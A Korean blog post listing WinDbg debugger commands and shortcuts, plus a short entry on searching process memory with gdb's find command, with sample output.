 - alt + 6 (call stack)

 - f10 : step over f11 : step : out


u + 주소값 = x/i 효과

d + 레지스터 = x/x 효과



windbg 단축키 모음

g, F5 = 실행



Ctrl+Break = 멈추고 디버깅 시작

qd(quit and detach) = 디버기를 계속실행하면서 디버거 종료

.symfix [path] = 심볼파일 경로설정

.sympath = 등록된 심볼파일 경로 출력

.sympath+ [path] = 심볼파일경로 등록 (추가됨)

bl = break point 리스트 출력

bd [breakpoint id] = break point disable

be [breakpoint id] = break point enable

bc [breakpoint id] = break point clear

조건 브레이크 예제

bp [address] ".if @@(pData->dwMyFlag & 0x00010000) {}.else {gc}"

@@(c++코드) 조건이 성립하면 break, 그렇지 않다면 gc 명령어가 실행된다. gc는 F10

과 동일하다. 

k = call stack 출력

kb = call stack 파라메터까지 출력

.srcpath = 소스경로 설정

dv = local 변수 리스트 출력, display value

db [변수이름] = 변수 데이타를 byte단위로 출력한다. display byte, dword..

dd = display dword

bpm r4 address = address위치의 메모리를 read 할때 break

lm = 모듈정보리스트 출력

lmvm [모듈이름] = 특정 모듈 정보 출력 (심볼파일이 설정되었는지 확인할때 필요)

.ecxr = dump파일을 열어볼 때, dump 파일의 레지스터와 스택포인트등 dump파일과

일치시킨다.

!analyze -v = dump파일을 열어서 분석할때 쓰이는 명령어다. 괜찮은듯

!address [변수or주소] = 메모리 속성을 출력한다.

.srcpath = 설정된 소스 경로를 보여준다. 추가하고 싶을때는 .srcpath+ 

.restart = 만약 실행파일로 테스트 중이라면 처음부터 다시 로드해서 시작한다.

~[thread number]s = 해당 쓰레드로 제어를 옮긴다. ex) ~2s = 2번 쓰레드로 이동

~* = 모든 쓰레드 출력

~*k = 모든 쓰레드의 콜스택정보 출력

~*kb = ~*k응용 (콜스택정보를 모두 출력한다. 바이트단위)

!handle [핸들] f = 핸들 정보 출력

dt [data type] [address] = address 에 있는 데이타를 data type 형태로 출력한다. 

특정 데이타를 표현할 때 자주 쓰이는 명령어다. display type

!locks = CriticialSection 과 같은 동기화객체를 출력한다. 어떤 쓰레드에서 소유하고 있는

지도 나오니 Thread Hang 버그를 디버깅할 때 유용하다.

!htrace -enable = handle 이 생성되고 삭제되는 것을 추적한다. disable도 가능

!htrace -snapshot = 현재 handle 상태를 저장한다. 나중에 비교하기 위해서

!htrace -diff = 전에 snapshot으로 저장했던 내용과 지금의 내용과 비교한다. 비교한 

내용 중, 닫힌 handle은 제외하고 남아있는 handle을 출력한다. 

즉, 비교해서 다른 부분 중, 열려있는 것만 출력한다는 의미.

u [address] = 

uf [함수이름] = 함수이름의 위치로 이동해 어셈블리코드로 출력한다.

s [-type] range patter = 메모리 내용을 검색하는 명령어

ex) s 0012ff40 0012ff60 'h' 'e' 'l' 'l' 'o'

ex) s -a 0012ff40 L20 "hello"

dds [Address] = (diplay word and symbols) 지정한 메모리에서 dword값을 읽어서 보여주고

그 값이 어떤 심볼과 연결된다면 심볼을 출력한다. 도움되는 명령어다.

x module!symbol = 함수나 전역변수의 이름을 입력하면 일치하는 심볼과 주소를 표시한다.

.dump option filename = 덤프파일 생성 option=/f, /m

.hh [text] = winDbg 도움말을 띄운다. text는 색인의 에디트창에 나온다. 엔터만 누르면 검색하게+

(open hiper text help)

!object [Address/path/name] = 객체의 정보를 보여준다.

!poolfind = 특정 메모리 태그를 가진 메모리를 찾는다.

ex) !poolfind ddk 0 : ddk 메모리 태그를 비페이징 풀에서 검색한다.

ex) !poolfind * 0 : 모든 태그의 메모리를 비페이징 풀에서 검색한다.



IDA 

Quick View : Ctrl + 1  (문자열 검색시에 용의하다)



Posted by k1rha
2013. 10. 9. 00:11

[gdb] gdb find 의 활용 (원하는 메모리 값 찾기)


gdb로 메모리상에 특정값을 찾는 주소를 찾는 방법


[출처 :http://sourceware.org/gdb/onlinedocs/gdb/Searching-Memory.html]


find [/sn] start_addr, +len, val1 [, val2, ...]
find [/sn] start_addr, end_addr, val1 [, val2, ...]

Search memory for the sequence of bytes specified by val1, val2, etc. The search begins at address start_addr and continues for either len bytes or through to end_addr inclusive.


ex)

(gdb) find 0xf7ee4520, +1000000 ,"\x43"

0xf7f52c69 <dl_iterate_phdr+425>

0xf7f77d29

0xf7f792ec

0xf7f7936c

0xf7f7f1d0

0xf7f7f654

0xf7f7f6c4

0xf7f7f820

0xf7f7faf4

0xf7f7fdb0

0xf7f7fe24

0xf7f7fe6c

0xf7f7fe80

0xf7f7fe94

0xf7f7fea8

0xf7f7fef4

0xf7f7ff34

0xf7f806d8



'System_Hacking' 카테고리의 다른 글

Shellcode Database  (0) 2013.12.12
[ 펌 ] win gdb 명령어  (0) 2013.12.12
[Shellcode] open-read-write(stdout)  (0) 2013.07.27
32bit unistd.h System call Number  (0) 2013.07.21
GDB 명령어 완벽 가이드  (0) 2013.06.10
Posted by k1rha